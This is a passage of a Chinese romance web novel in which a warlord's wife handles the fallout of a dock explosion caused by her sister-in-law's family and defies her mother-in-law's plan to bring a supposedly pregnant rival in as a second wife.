江浸月得体道:“我想苏先生应该跟督军在一起,所以特地多做了,苏先生不介意的话,可以一起吃。”
“不介意不介意,我尝尝。”
苏拾卷眼疾手快,立刻伸手从食盒里抓了一个包子,不管晏山青瞪过来的眼神,直接掰开,咬了一大口。
刚吃一口,苏拾卷就竖起大拇指,“南川包子铺林立,却不及弟妹万分之一!”
“多谢苏先生夸奖。”江浸月笑着。
苏拾卷一边吃一边说:“这食盒有两层,下面是什么?”
江浸月顺手打开,下层是汤圆。
苏拾卷看直了眼:“这个汤圆也是弟妹自己做的吗?那我也要尝尝!”
这次晏山青及时扣住他手腕,暗含警告道:“刚才交代你的事,还不去办?”
“着什么急啊,杨家在那里又不会跑,我吃完再去。”
苏拾卷声东击西,看似要去拿汤圆,其实另一只手又抓了一个大包子。
晏山青直接踹了他小腿一脚。
苏拾卷嘻嘻哈哈地躲开,想到什么,又对江浸月道:“说起来,弟妹的大嫂就是桥头杨家的女儿吧?”
江浸月不动声色点头:“是。”
“那弟妹知道了吗?昨晚出事的货船就是桥头杨家的。”
江浸月面露担忧:“我只知道码头发生爆炸,别的不太清楚……杨家的货船怎么了?”
苏拾卷正要说个明白,晏山青就打断他:“杨家是不会跑,但你在这儿拖延,是想给他们构思怎么推卸责任的时间吗?”
“行行行,我马上去。”
苏拾卷还想再抓一个包子,但这次晏山青眼疾手快拿起食盒盖子,整个盖住。
苏拾卷抓了个空,啧了一声:“小气。”
晏山青呵呵,这一屉,一共也就六个包子,他还想吃几个?
苏拾卷不情不愿地走后,江浸月望着晏山青:“督军,杨家怎么了?”
提起这件事,晏山青的神情就变得冷峻。
他看向帐篷外——焦黑的船骸上挂着残破的布匹,江水面上泛着油污与血沫,真是一片人间地狱的景象。
他沉声道:“杨家的货船撞上汽油船,所以才导致爆炸。”
江浸月抿唇:“伤亡人数多吗?”
晏山青说:“爆炸发生后,两条货船上的船工都跳江逃生,十个重伤,十三个死亡,还有两个失踪。”
“……”
死伤如此惨烈,这就是重大事故,一定要有人为此负责。
而负责的,一定是事件主犯。
江浸月轻轻抿唇,试着问:“那,怎么能确定,是杨家的船去撞汽油船?而不是两船不小心碰到一起呢?”
晏山青突然抬眼看着江浸月,语气喜怒难辨:“原来夫人送早餐是假,来我这儿刺探情报才是真。”
第38章 晏山青:我道歉,可以吗
江浸月愣了一下,而后气笑出声。
晏山青眉眼不动:“你笑什么?”
“难怪人家说,成见是无法改变的,督军打从心眼里对我有偏见,所以无论我做什么,在您眼里都是别有图谋。”
晏山青手指在桌面叩了叩:“我哪里对你有偏见?”
江浸月不卑不亢,言辞清晰:“出事的是我大嫂家,我相信换作任何人,听到自家人摊上大事儿,都会询问来龙去脉,也会为家人解释。”
“怎么别人都可以做的事,轮到我做就是别有图谋,就是来刺探消息,这还不叫偏见吗?”
晏山青顿了一下。
好像,是这么个理。
他捏了捏酸胀的眉骨,再开口,语气明显缓了一些:“处理了一晚上的爆炸,思维还没转换过来,是我想多了,夫人别见怪。”
江浸月闷声说:“不敢怪罪督军。督军趁热吃吧,不打扰督军公务了,我先回去了。”
然后就开始收拾食盒,看神情明显是不高兴了。
“……”晏山青一夜没睡,脑子动不起来了,直接抓住她的手腕,“不想听杨家的事了?”
江浸月低着头:“怕多听两句,督军又要觉得我是来刺探消息的,那我真是吃罪不起。”
晏山青好笑:“刚才算我冒昧,我道歉,可以了吗?”
江浸月道:“不敢受督军的道歉。”
这个女人闹起脾气来,原来是这样。
晏山青觉得新鲜,一晚上的疲累好像减轻了不少,他吃着包子看着汤圆:“这次怎么没加桂花?”
江浸月像被问到什么重点似的,表情有些不自然,低声道:“急着出门,忘记了。”
晏山青挑眉:“着急什么?”
江浸月尴尬:“怕晚出门一点,会被母亲抓住算账……”
晏山青勾唇:“所以,你来给我送早餐,是为了躲开母亲,以及讨好我,想让我在母亲面前护着你?”
江浸月抿了抿唇,抬起眼望着他,眼波如水,小心试探:“那,督军会护着我吗?”
晏山青双腿岔开坐在那儿,似笑非笑地说:“还说你不是别有图谋,刚才我的话冤枉你了吗?”
“……”
好一个反将一军。
江浸月巴巴的,“我向督军道歉。”
他要她的道歉干什么,又不能当饭吃。晏山青抬抬下巴:“汤圆盛出来。”
江浸月明白过来,他这个态度就是愿意护着她的意思,连忙去找来一个小碗,盛了一碗双手奉上。
“督军慢用。”
还挺谄媚。晏山青让她也坐下,然后把那一小碗汤圆放在她面前。
江浸月不明所以,他道:“一大早做这么多东西,你也还没吃吧?”
小份给了她,他则直接将那一大碗汤圆都端过去。
“嗯……”江浸月还是第一次跟他一起吃饭。
晏山青吃了两个包子,冷不丁开口:“没有冤枉杨家。”
江浸月抬起头,看着他。
“你应该也知道,杨家这些年,凭着跟沈霁禾沾亲带故的关系,以及跟汇源银行的姻亲,一跃成为南川布业的龙头。”
“又仗着这个龙头的身份,长期霸占码头资源,无论是谁家的船,船上运着什么东西,总之跟他们遇上,都要让行,说他们是码头一霸都不为过。”
江浸月无法反驳,因为……确实如此。
晏山青冷声道:“昨晚汽油船都已经开进码头,杨家的船才刚刚行驶,按理说就该杨家的船后退让出路,但杨家霸道惯了,不肯让,汽油船怕后退会引发船只倾斜、汽油泄漏,所以也不肯退。”
“结果杨家船老大放话,‘撞沉了老子赔’,才引发了这起事故,全程都有目击者见证,跳船逃生被救上来的船工也能证实事情来龙去脉就是这样。”
“所以,没冤枉杨家。”
江浸月攥紧勺子:“……那督军会怎么处置杨家?”
晏山青不留情面的四个字:“我会重判。”
江浸月一时无话。
晏山青看她一眼:“想说什么就说,不会再怪你刺探军情。”
江浸月叹气:“杨家确实很霸道,从前还闹出过强征码头苦力,以及勒索过路商船的事,已经被整治过一遍,本来以为安分了,没想到变本加厉。”
“这也是我家的错,没有约束好亲眷。”
自家女儿嫁给四大银行的江家长子,成为江家下一任当家主母,而江家的女儿又嫁给南川督军,杨家的确有资本在南川横着走。
而这些资本都是江家跟督军府给的,那么相应的,江家和督军府也有责任约束杨家的一言一行。
没约束好,就是他们失职。
晏山青说要重判,很可能是要彻底清算,那江家恐怕也难逃一劫,江浸月昨晚才想着做好督军夫人这份工作,从晏山青手里保住江、沈两家,没想到今天就要出事。
晏山青已经吃完四个包子,靠在椅背上,随意地问她:“沈霁禾怎么整治他们的?”
江浸月如实说:“让他们给那些被他们强征的苦力银钱、退还勒索的过路费,还有当众道歉、勒令他们内部整改三个月,在整改完成之前不准下水。”
“只是这样?”晏山青嘲讽,“难怪他们敢再犯。”
江浸月忍不住说:“这样还不够吗?杨家几乎每十天就要走一次货船,停他们三个月的货运,可是让他们狠狠损失了一大笔。”
晏山青的手指在桌面上扣了扣:“如果有用,今天这件事就不会发生,就这点惩处对这种滚刀肉来说就是挠痒痒。”
这样都不够的话,那么晏山青的“重判”又会到什么程度?
晏山青看她碗里还剩下两三个汤圆:“吃饱了?”
是吃不下了。江浸月“嗯”了一声。
吃了几个包子一碗汤圆,填饱了肚子,一夜没睡的疲累消减了,晏山青这会儿的精神不错,脑子也转得动了。
他看着这个心情低落的女人,猜得到她为什么这么沉默。
——不就是担心杨家的事会牵连到江家吗?
他看得出,却不想跟她直说。
沈霁禾虽然是死在他手上,但他对这个死对头、老对手还是很看得上的。
那人出生清贵,累世官宦,从祖父那一代起,就世代在南川做官,在这样的钟鼎之家长大,他却没有养出一身官宦子弟的奢靡脾气,和酒囊饭袋的脑子。
他励精图治,赏罚有度,所以才能将南川治得如此风调雨顺,国泰民安。
但他对作恶多端的杨家的惩处明显是高高举起轻轻放下,为什么?当然是因为江浸月。
无论是江浸月求了情,还是他偏宠江浸月,不想令她难堪所以主动包庇,总之都是他对这个女人好。
这就让他有点不爽了。
第39章 没眼色的笨女人
手指在桌面有一下没一下敲着,又点了一根烟,晏山青说:“夫人,我现在的心情还不错。”
所以她想求情还是想怎么,可以试着开开口。
江浸月正在想事情,听到这话,没多过脑子就说:“死伤这么多人,您的心情还能不错啊?”
“……”
这话听着像是在说他无情残暴,视人命如草芥。
晏山青面无表情地将烟捻灭在桌面:“我现在心情不好,夫人该走了。”
没眼色的笨女人,活该自己惴惴不安。
江浸月只觉得他阴晴不定,喜怒难辨,也不敢说什么,听话地起身,往外走了两步。
但还是忍不住,回头说:“督军,我今天能回一趟娘家吗?”
晏山青掀起眼皮。
这女人还是这么喜欢穿旗袍,今天又穿了一件飞机袖的款式,白底灰边,双立领,裙身用亮片绣了一簇一簇的竹叶,在一片废墟的背景里,显得清丽干净。
他想起那晚她自己解开旗袍扣子,露出胸前肌肤的模样,喉咙痒了一下,挪开眼,淡淡地说:“我不记得,我有下达过限制你人身自由的命令。”
意思就是她可以去。
江浸月立即说:“多谢督军!”
“谢你这顿早餐吧。”
“督军喜欢,我以后经常给您做!”
晏山青哼笑:“去吧。”
江浸月飞快出了帐篷。
明婶在帐篷外等着她,她有听见里面的对话:“夫人,我们现在回江家吗?”
江浸月没有马上回,而是先到码头看了看。
伤者已经被送去西医院,遗体也被统一安置,码头只剩下清理废墟的苦力,但空气里还是能闻见刺鼻的汽油味,以及一丝若有若无的血腥气。
江浸月准备上车离开时,不远处又停下来一辆汽车。
车上下来的人是蒋临泽。
他也看向她这边,两人目光对上,蒋临泽微微颔首,似乎是让她不用担心,万事还有他在呢。
江浸月点了下头,然后上车,对司机说:“去江家。”
·
从江浸月让明婶将消息送回江家起,江家人就围在一起想办法。
“……那个杀千刀的万国军,闯下这么大的祸事,还想让咱家去帮他摆平,他忘了自己以前是怎么对慧敏的吗?真是岂有此理!”
江夫人气得要命,大嫂杨慧敏怕她伤到身体,连忙安抚:“妈,别理他,是他自己的错,督军想拉他去枪毙就拉他去枪毙,我不会管他的死活的。”
“咱们现在要想的是怎么跟他切割开来?我怕督军会连着江家一起算账……如果督军真的找江家算账,那就把我交出去吧!”
大哥最先说:“你说什么呢慧敏。”
江夫人也道:“是啊慧敏,你是我们江家八抬大轿娶过门的儿媳,我们怎么可能把你推出去呢?我们是一家人。”
江浸月走进去:“这件事跟大嫂没关系。大嫂,你不必自责。”
“皎皎,你回来了!”江夫人立刻站起来,“督军没有为难你吧?他该不会是又把你遣送回娘家反省吧?”
江浸月连忙说:“没有,不是,是我跟督军说我想回家看看,他同意了。但督军也说,这件事他要重判。”
江夫人跌坐回沙发上,脸色发白。
江父见多了大场面,还是很镇定的,抽了一口雪茄,说:“犯事的到底是杨家不是我们江家,现在也不是清朝那会,不会动不动就株连、连坐。这件事可左可右,全看晏督军愿不愿意高抬贵手?”
江浸月抿唇:“他可能,不愿意。”
因为她想不出晏山青会因为什么对他们网开一面。
总不能是跟她的感情吧?
他们之间又有什么感情?
她不会自以为是到觉得给他送了一次早餐,自己在他心里就有什么不一样。
相反,她深深记得洋楼宴会,晏山青、苏拾卷,还有其他几个跟他们一起打到南川来的人在二楼秘密谈话,言辞之间就是想要对沈家残留的势力除之而后快。
而他们江家,就在这个势力范围内。
比起相信晏山青会放过他们,她更觉得晏山青会借题发挥,收拾杨家,顺带清算江家。
此言一出,江父的神情也凝重起来。
江浸月认真道:“事已至此,我们只能尽力补救,将影响降到最低,到那时候,晏山青想要发难也不容易。”
大嫂蹙眉:“码头爆炸这么大的事,定然已经传遍南川,还能怎么降低影响呢?”
江浸月来的路上已经想好了:“首先我们要安抚死者家属,这件事大哥你去做。”
大哥非常利索:“我现在就去。”
话毕直接出门。
江浸月又道:“妈妈和大嫂去医院看望伤者,再以江家的名义,雇一支打捞队继续打捞失踪人员。还有爸,你要让万国军出面道歉,以及赔偿码头所有受损的船只,并且辞去杨家领头人的身份。”
江父沉声:“赔偿受损船只这一点倒是不难,大不了我们以杨家的名义把这笔钱出了。但万国军那个人,目中无人,不可一世,怎么可能出来认错?又怎么甘心辞去领头人的位置呢?”
江浸月清冷的眉眼间现出一丝少见的锋芒:“那就告诉他,如果他不辞,他就会失去杨家布厂,到时候他就会变回一穷二白的万国军。”
“他到底是要保留最后一点尊严,还是彻底宁为玉碎不为瓦全,他如果不蠢,就该知道怎么做。”
这番话一定会正中万国军的要害。
他当年就是太想翻身了,才会入赘杨家,后来又做了多少见不得光的事才摇身一变成为今天南川布业的龙头老大,他怎么可能甘心失去这些?
江父想了想,点点头:“我去试一试。”
江夫人又问江浸月:“这样做就可以吗?”
“还不行。”江浸月又道,
“今天这桩祸事,起源于杨家的欺行霸市,但也是因为码头没有制定出一个人人都遵守的规矩,所以一旦遇到像杨家这般霸道的人就会有理说不清。”
“我们可以联合南川商会,正式制定一个码头规矩,以后人人都要按照这个规矩行事,杜绝类似的事情再发生。”
既有人文关怀,又有实际行动,还吸取教训制定规则避免重蹈覆辙,可以说是方方面面都考虑到了。
只有这样才能平息民愤,那么晏山青在收拾杨家的时候,就没理由扩大影响牵连江家。
江父忧虑:“主意是好主意,但实施起来怕是不容易。”
“现任商会会长是金隆银行白家,咱家跟白家可是有旧仇的,他们巴不得咱家栽跟头,怎么可能帮助我们维稳?除非有一个压在他们头上的人,否则,悬。”
江浸月若有所思:“那就只能找晏山青来镇场子。”
江夫人又问:“可刚才不是说晏督军不会对我们高抬贵手吗?那他就不会帮我们呀。”
……是啊。
晏山青不帮他们,那他们还能去哪里找这个镇得住场子的人?
客厅一时间陷入沉默。
就在这时,门外响起一道貌似温和,实际疏离的男声:
“我不就是这个有身份、镇得住场子,而且还会帮你的人吗?”
第40章 蒋临泽登门,是福还是祸
客厅里的江家人都看向门外。
男人沿着门前的台阶一步步走上来。
彻底看清他模样的一刻,江家人都是一愣!
江浸月站了起来:“哥,你怎么来了?”
蒋临泽一身黑色长风衣,衬出他颀长优越的身形。
他谁都没看,只对江浸月道,“我们到后院聊。”
江浸月看了父母一眼,说:“好。”
两人朝后院走去,客厅里其他人才回过神。
江父看向管家:“他来怎么没人通报?”
管家磕磕巴巴道:“他、他进门的时候,身边的随从拿枪指着我们,不准我们动……”
拿枪指着!
这就是一点情面都不留!
江父和江夫人怔了半晌。
江夫人心情复杂:“他刚才进来都没拿正眼看我们,只是跟皎皎说话,这还不够说明他还在记恨当年的事吗?”
江父却面色沉冷,呵斥道:“他还有脸记恨我们!当年他做出那种不知羞耻的事,没打死他就是我手下留情!”
当年……什么事?
大嫂只知道蒋临泽曾是江家养子,但他究竟是因为什么离开江家,她也问过,江家二老却都含糊其词。
她只听家里的老人隐晦说起,蒋临泽是被赶走的,而且走得很不体面。
如今他摇身一变,成为军政府派到南川的特派员,第一次重回江家,就是在江家的危急关头,真不知道他存的什么心?
……
江家后花园种了一棵枣树。
这还是江浸月三岁的时候,跟蒋临泽一起种下的小树苗。
十几年过去,已经长成参天大树,每年到了季节还会结出青枣,每一个都是又大又甜。
江浸月转身看着蒋临泽:“哥,你刚才怎么没跟爸妈还有大嫂打招呼。”
蒋临泽脱了外套,随手丢在树下的秋千上,将衬衫的袖子纽扣解开,淡淡一句:“皎皎,不要为难哥。”
然后伸手,摘下一颗枣子。
他将枣子在衬衫上蹭了蹭,咬了一口:“跟以前一样甜。”
江浸月先说正事:“哥刚才说,可以当我们与商会之间的桥梁?”
蒋临泽看着她点头:“我是军政府的人,他们会给我这个面子。”
江浸月却摇头:“但我希望哥你不要这么做。”
“为什么?”
“不合适。”
江浸月逻辑清晰,“如果你是以江家养子的身份去牵桥搭线那很合适,但如果你是以军政府的身份牵桥搭线,那就不合适。”
蒋临泽目光深邃。
江浸月微微一笑:“我不是那个什么都不懂,只会喊,‘哥,背我上去摘枣子’的小姑娘,我可是当了三年的督军夫人。”
“我知道军政府和地方军阀是表面和谐而已,晏山青擅自出兵夺南川,你们军政府应该很不满吧?所以才会派你来桎梏他。”
“如果我接受你的帮助,那就是站在晏山青的对立面,我是他的妻子,我们全家都要仰仗晏山青而活,我可不敢跟他对着干。”
蒋临泽用难以分辨出喜怒的语气说:“皎皎真是长大了。”
江浸月轻描淡写道:“哥也老大不小了,当年的事就不能一笑泯恩仇吗?本来也不是什么大事。”
蒋临泽垂着眼看她:“你真以为当年我被赶出江家,只是因为所谓的盗窃?”
江浸月一怔:“难道不是?”
江浸月第一次见到蒋临泽,是在大雪纷飞的街头。
他穿着破烂的单衣,蜷缩在一个纸箱里,像一只奄奄一息的小狗,冻得快要没气。
她跟江夫人路过看到他,都觉得他太可怜,这么丢下他不管,他一定熬不过今晚。
于是就让家仆抱起他,带他回了家,给他请了医生,救了三天才醒过来。
他看到她们的第一眼,就撑着瘦弱的身子跪下磕头,谢她们的救命之恩。
江夫人询问他的来历?
他说他们小县城在打仗,他的父母兄弟都死了,他跟着难民一起逃出来,一路乞讨到了南川,但不知道哪里才能安定下来,也不知道自己未来能怎么办?
乱世啊,就是这样残酷。
江夫人同情他的遭遇,总归家里不差一口饭,便留下他,让他在家里帮忙做些杂活,起码吃饱穿暖,不怕霜打雨淋。
蒋临泽也十分争气,聪明又勇敢,年纪不大,办事却极为妥帖,连江父也欣赏他。
有一次江父带他出门办事,半途遇到流寇,蒋临泽拼死保护江父脱身,自己背上被砍了一刀,好不容易才抢救回来。
江父大受感动,正式开祠堂收他为养子,从那之后,他就成了江家人,改名江临泽。
直到四年前,变故突发。
当时江浸月刚完成学业回国,某天清晨,她被前厅的吵闹声惊醒。
连忙穿上衣服跑出去一看,发现是江父在对蒋临泽动家法。
小臂粗的棍棒,一下一下打在他的后背,血肉模糊。
江浸月吓了一跳,立刻扑上去阻拦,急忙问江夫人出什么事了?
江夫人欲言又止,江父抢过话头,厉声说蒋临泽手脚不干净,利用职务之便,盗窃了银行的钱,现在被他发现了。
江浸月不相信蒋临泽会做这种事,但蒋临泽低着头,却没有辩解。
挨了整整五十棍后,江父还将他从江家族谱除名,宣布从今以后,他不再是他们江家的人,死活都跟他们没关系。
江浸月苦苦哀求,可江父心意已决,蒋临泽还是被逐出了江家。
江浸月也只来得及将自己攒下的私房钱塞给他,让他带着去寻找出路。
又对他说,无论他在哪里落脚,都要第一时间给她打电话告诉她,她也会劝说江父,等江父气消了,就让他回来。
蒋临泽当时只对她说一句话:“我不会回来了。”
江浸月一直以为,他的离开就是因为盗窃,现在他却说不是。
江浸月茫然了,那是因为什么?
蒋临泽很淡地说:“哥只能告诉你不是。具体是为什么,你可以去问你父母。”
江浸月感觉得出,那应该是一件大事,否则爸妈不会连她也隐瞒。
她还是劝说:“无论是因为什么,他们对你都有养育之恩,这一点是真的吧?打个招呼而已呀,让彼此面上都不至于太难看,这样都不行吗?”
第41章 怀的孩子不是督军的
蒋临泽在秋千上坐下,伸手握了握打结的地方——这个秋千也是他为江浸月扎的。
小时候的江浸月是个娇气包,别人有的东西她也要有,一个跟她不对付的小姑娘家里有秋千,跑到她面前炫耀,她就哭着回家说她也要。
他自小疼她,马上去市场买了材料回来,亲手给她扎,抱着她在上面晃了好几圈才把她哄好。
后来她长大了两岁,他又把原来的秋千换成大一些的,陆续换过三四次,最后一次是她出国留洋前。
本来说好,等她回来再给她扎一个更大的,没想到还没来得及扎,就出了那件事。
蒋临泽拿起外套,从里面掏出香烟和火柴。
火柴擦燃的瞬间,江浸月看到他眼底的疏冷。
伴随着烟雾,他说:“哥给你这个面子,等会儿出去跟他们打招呼。说回你这件事,既然不让我帮忙,那你就只能去找晏山青。晏山青会不会帮你,你心里有数吗?”
江浸月心里有数。
晏山青不太可能帮她。
可现如今能帮她的,也只剩下一个晏山青。
“我试试吧。”
这件事要做就宜早不宜迟,迟则生变。
江浸月没有再耽误时间,直接说:“哥,我要回去了。你要留下跟爸妈吃顿饭吗?”
蒋临泽淡道:“改天吧。他们现在应该也没心情跟我吃饭。”
江浸月想想也是:“那就等这件事解决后,我们再一起吃个饭。”
蒋临泽不置可否,只从秋千上站起身:“哥还是那句话,皎皎,你还有哥。实在处理不了就来找哥,哥再给你想办法。”
这话多少让江浸月心头一暖,弯唇:“好。”
蒋临泽突然伸手要去碰她的头发,江浸月条件反射地避了一下。
蒋临泽的手停在半空,没有再往前,只说:“烟灰,飞到你头发上了。”
江浸月自己伸手弹了弹:“现在呢?”
“没有了。”
蒋临泽垂下了手,指尖轻轻搓了搓,烟灰被碾成粉末,消散在空气里,无踪无迹。
江浸月和蒋临泽一起回到前厅。
蒋临泽喊:“江先生,江太太。”
江父并未理会,江夫人勉强点了头。
江浸月很想知道蒋临泽当年离开江家的真相,但现在还是杨家的事情更要紧一点,只能先把这件事按下,回头再说。
江浸月直接带着明婶回了督军府。
她想着,晏山青一个晚上都在码头处理爆炸,忙到这会儿应该差不多了,大概会抽出时间回家换身衣服,她要抓住这个机会跟他好好聊聊。
她进了门,还没来得及问管家晏山青回来了没有,一个嬷嬷就走过来:
“夫人,老夫人请您现在就去寿松堂。”
“……”
看架势,是一直在门口等她回来。
江浸月不动声色地应了声好,目光则往后一瞥。
明婶接收到意思,不动声色地后退,没跟江浸月去寿松堂,而是快步朝山水居而去。
迎面遇到副官,明婶连忙问:“督军在吗?!”
·
寿松堂。
老夫人正在院子里,为她病了这些天,没空照料的几盆花草,除去横生的枝节。
江浸月走到她身后,先是称呼:“母亲。”然后关心,“母亲今日的身体可好些?”
老夫人没有回头,也没有回她的关心,继续修剪着花枝,淡淡说:“忙完回来了?”
这话挺不好接的。
江浸月不知道她指的是给晏山青送早餐,还是已经知道杨家出事,她赶回娘家。
不知道怎么回答,索性就不回答。
江浸月沉默地站着,老夫人再次开口:“浸月,你知道错吗?”
“浸月不知,请母亲明示。”
老夫人道:“你嫁进晏家,就是我们晏家的人。身为人妻,理应处处以夫家为重,伺候公婆,和睦妻妾,养育子女,这才是你的本分,而不是三天两头往娘家跑,忙娘家的事。”
江浸月低头:“母亲教诲的是,浸月明白了。”
“嗯,你能明白就好。”
老夫人“咔嚓”一声,剪断一根花枝,突然变了话题,“浸月,你会花艺吗?”
江浸月答道:“在家时跟妈妈学过,只学得皮毛。”
老夫人说:“其实也没什么难的,看不顺眼的就剪掉,看得顺眼的就留下,就比如这盆牡丹,长得极好,不需要怎么修剪。”
江浸月顺势看了过去:“花开并蒂,确实好。”
老夫人意味深长:“是啊,花开并蒂才是福。”
江浸月觉得她话里有话……
果然,老夫人放下剪刀,转身面对江浸月,直接就切入正题:
“知渝怀孕,你应该也知道了,这是山青第一个孩子,我一定要给她名分。”
“……”
原来叫她来的目的是这个。
江浸月抿唇:“母亲是想纳宋小姐进门,当姨太太吗?”
老夫人笑了:“知渝是我为山青选的妻子,山青一意孤行娶了你,但我也不能亏待了知渝,所以,我要抬她进门为平妻。”
江浸月只问:“这也是督军的意思吗?”
老夫人不露情绪:“你刚才还说自己‘明白’了,我看你还是不明白——你是我的儿媳,婆婆的话,你要听从。”
江浸月明白了:“母亲的意思是,让我去说服督军,抬宋小姐进门为平妻?”
“是。”
“……”
江浸月在迂回、敷衍、祸水东引和直白拒绝之间思考了几秒,果断选了后者。
“母亲,这件事我做不到。”
老夫人脸色一沉:“你说什么?”
江浸月看似顺从,实际言辞凿凿:“因为我觉得,这件事不是我应该管的。”
老夫人转动手上的佛珠:“怎么不应该?虽然你是在国外读的书,但咱们老祖宗的规矩你也不能忘了,为丈夫张罗妻妾,本就是你这个妻子应该做的事。”
江浸月微微蹙眉:“但我也不能不管督军的心意,为他纳进来一个他不喜欢的妻妾吧?”
“你是说山青不喜欢知渝?”
老夫人冷声,“你从哪里看出来的?他们青梅竹马相伴十年,那份感情岂是你这个过门不到两个月的新妇能知晓的?”
江浸月好声好气:“正因为他们已经相识十年,如果督军喜欢宋小姐,早就给她名分了,哪里轮得到我呢?”
她说“相伴”,江浸月说“相识”,这份关系一下就淡了。
老夫人被她说得无法反驳,语气越发冷硬:“但知渝现在怀孕了!”
江浸月以子之矛,攻子之盾:“是啊,宋小姐都怀孕了,督军还是没有让她进门的意思,可见这个孩子……”
她故意停顿,老夫人厉声呵斥:“你想说什么?说下去!”
江浸月娓娓道来:“可见这个孩子,要么是意外有的,督军本意是不想要;要么——”
“不是督军的。”
第42章 你要为了她,顶撞我?!
老夫人勃然大怒:“你放肆!”
她竟然敢说出这种话!
“你给我跪下!”
江浸月却是一动不动,直面老夫人的滔天怒火:“母亲,我只是基于常理推断,何错之有?”
“你忤逆婆婆!冤枉知渝!还说你何错之有!?你别以为山青给了你几分好脸色,你就真成这督军府的女主人了!我告诉你江浸月,有我在这一日,督军府还轮不到你一个破——”
最后一个字还没落下,就被男人直接打断:“妈。”
江浸月立刻往旁边退了一步,不动声色地松了口气。
……总算等到他来了。
她低眉顺眼地喊:“督军。”
晏山青已经换了一套与早晨在码头完全不一样的衣服,人也神清气爽许多,迈着军靴从台阶走下来。
从江浸月身旁经过时,带起了一阵清冽的风。
江浸月下意识抬起眼,晏山青刚好低下头,两人的目光有那么一秒钟的对视。
老夫人克制了一下火气,但还是怒不可遏:
“山青,你来得正好,看看你这个妻子,刚过门时还装得温顺乖巧,没几天就原形毕露!还敢在这里大言不惭说你不喜欢知渝!哼,你跟知渝在一起的时候,她还是别人的妻子!”
晏山青不温不火道:“妈,她现在是我的妻子,以前的事再提就没意思了。”
老夫人压了压火气:“那知渝呢?知渝怀孕了,难道你想继续让她无名无分?”
晏山青意味不明地一笑:“她跟你说她怀孕了?”
嗯?江浸月眉头敏锐地蹙了一下,觉得他这句话有些……
意味深长。
老夫人理所当然地道:“我生了你们兄弟二人,她怀没怀孕我还会看不出来?”
她罗列着证据,“知渝闻见荤腥就想吐,这是害喜;每天觉得身体乏累,这也是怀孕的症状;更不要说她的月事还迟迟不来。”
晏山青漫不经心地拨弄着盆栽,顺手就将那朵所谓“花开并蒂”的牡丹花苞揪了下来:
“没看过医生?”
老夫人嗔了他一眼:“你没给她名分,她一个未嫁的姑娘,让人知道她未婚先孕,她的面子往哪儿搁?”
意思就是宋知渝怀孕的事没有经过医生大夫的诊断,只是她们凭感觉推断的。
江浸月心思一动,道:“可宋小姐那天去赴陈家的宴会,连陈小夫人都知道她怀孕了,恐怕半个南川的上流圈子都知道了,这可不像是不好意思见人的样子。”
更像是巴不得全南川都知道,传播开她怀了晏山青孩子的事情。
老夫人听见她说话就生气:“住口!这里有你说话的地方吗!”
晏山青转身。
他的站位刚好在江浸月和老夫人中间,这一转,正面对老夫人,高大的身体则是将江浸月挡在身后。
像为她扛住了一切似的。
江浸月不由得一怔。
然后就听见男人说:“母亲刚才不还说她是我的妻子,有义务为我纳妾吗?现在不就是在说纳妾的事,她怎么没资格开口?”
老夫人说的是抬平妻、张罗妻妾,而他用的词是“纳妾”。
是觉得宋知渝只配妾室的位置,还是觉得另外两个词不如这个词顺口,本身没有别的意思?
江浸月这边在琢磨晏山青的内涵,老夫人却觉得他说这话就是站在江浸月那边,不可置信极了。
“山青,你为了维护这个女人,要跟我较真是吗?”
“那倒不是,只是我现在有要紧的事要跟浸月说。”晏山青抓住江浸月的手,“既然妈你的事不着急,那就先让她跟我走吧。”
话毕,也不等老夫人说什么,他拉上江浸月,大步离开寿松堂。
老夫人愣住。
回过神后才急追了几步:“怎么不着急?知渝的肚子再过不了多久就会显现出来,到那时候就瞒不住了!”
“山青!山青——”
晏山青头也没回,就这么带着江浸月走了。
老夫人没达到目的,气得将手里的佛珠重重掷在地上!也将所有责任都记在江浸月头上!
“这个江浸月,真是岂有此理!仗着山青的宠爱,竟然敢忤逆我的意思!她是忘了这后宅是我做主?山青护得了她一时,难道还能日日夜夜守着她不成?!”
等晏山青不在,看她怎么收拾她!
她今天着实是被江浸月给气到了。
这个女人从嫁进来那天就一副唯唯诺诺的模样,每天早起给她请安,平时有什么事也是随叫随到,还以为是个好拿捏的,没想到今天不声不响地就下了她这么大的面子!
她要是不给她点颜色看看,岂不是要被她翻了天?!
嬷嬷犹豫着走上前:“老夫人,其实少夫人说的话也有道理。”
“她有什么道理?!”老夫人生气!
嬷嬷道:“知渝小姐怀了督军的孩子,督军却没说要将她抬进门,这确实是有些奇怪。”
“而且您之前暗示、明示督军那么多次,督军也没有答应娶知渝小姐,督军会不会是真的……不喜欢知渝小姐啊?”
老夫人不假思索道:“怎么可能?知渝貌美如花。”
嬷嬷捡起她丢在地上的佛珠,在衣服上擦干净后双手奉还:
“督军不是好色之徒,这些年下面的人送的绝色佳人还少吗?督军什么时候收房过?”
老夫人的眼睛深而浑浊,盯着嬷嬷看了片刻,伸手接过佛珠,在手上快速地转了转,最后还是那句话:
“不管怎么说,他让知渝怀孕,就得让知渝进门!”
……
江浸月被晏山青一路拉回了垆雪院。
进了屋,他就放开她,大马金刀地坐在红木圈椅上,目光深邃地扫过她的全身。
江浸月也低头看了看自己:“督军,您在看什么?”
辛儿低着头上茶,晏山青拿起茶盏,优哉悠哉地沏了沏:“看你在娘家吃了一顿熊心豹子胆后,变得跟普通人有什么不一样?”
听出他话里调侃的意思,江浸月觉得他心情不错,便放松下来,转身在他下手的位置坐下:
“我没在娘家吃饭。”
晏山青玩味儿:“那胆子怎么变大了?敢跟妈顶嘴,还敢利用我。”
江浸月假装听不懂:“督军这话从何说起呢?”
“不是你让人去把我请过来么,”晏山青倒是想知道,“你怎么知道我来了会站在你这边,而不是跟妈一样,要你接受知渝?”
第43章 以前跟督军不熟,现在熟
江浸月牢记跟晏山青相处的“四大法则”,装傻一次后就交代实话:
“如果督军想纳宋小姐进门,自己就可以做,没必要通过我。既然督军不想,那我跟督军就是一条船上的人。”
她停顿了一下,声音略低了一些,“刚才母亲提议的时候,我想过婉拒或者敷衍,最后选择直接拒绝,就是因为知道督军很快就会过来,能替我解围。”
最后这一句,有那么点……依赖他的意思。
晏山青嘴角一泛:“尽耍小聪明。”
江浸月歪了一下脑袋:“以前跟督军不太熟,现在熟了,就敢借一借督军的势。但我对母亲绝对是尊敬的,等母亲消气,我再去认错。”
晏山青挺吃她这一套的:“所以,我们什么时候熟的?”
是洋楼宴会熟的?还是教射击熟的?又或者是陈家满月宴熟的?
总不会是那晚差点就圆了的房熟的吧?
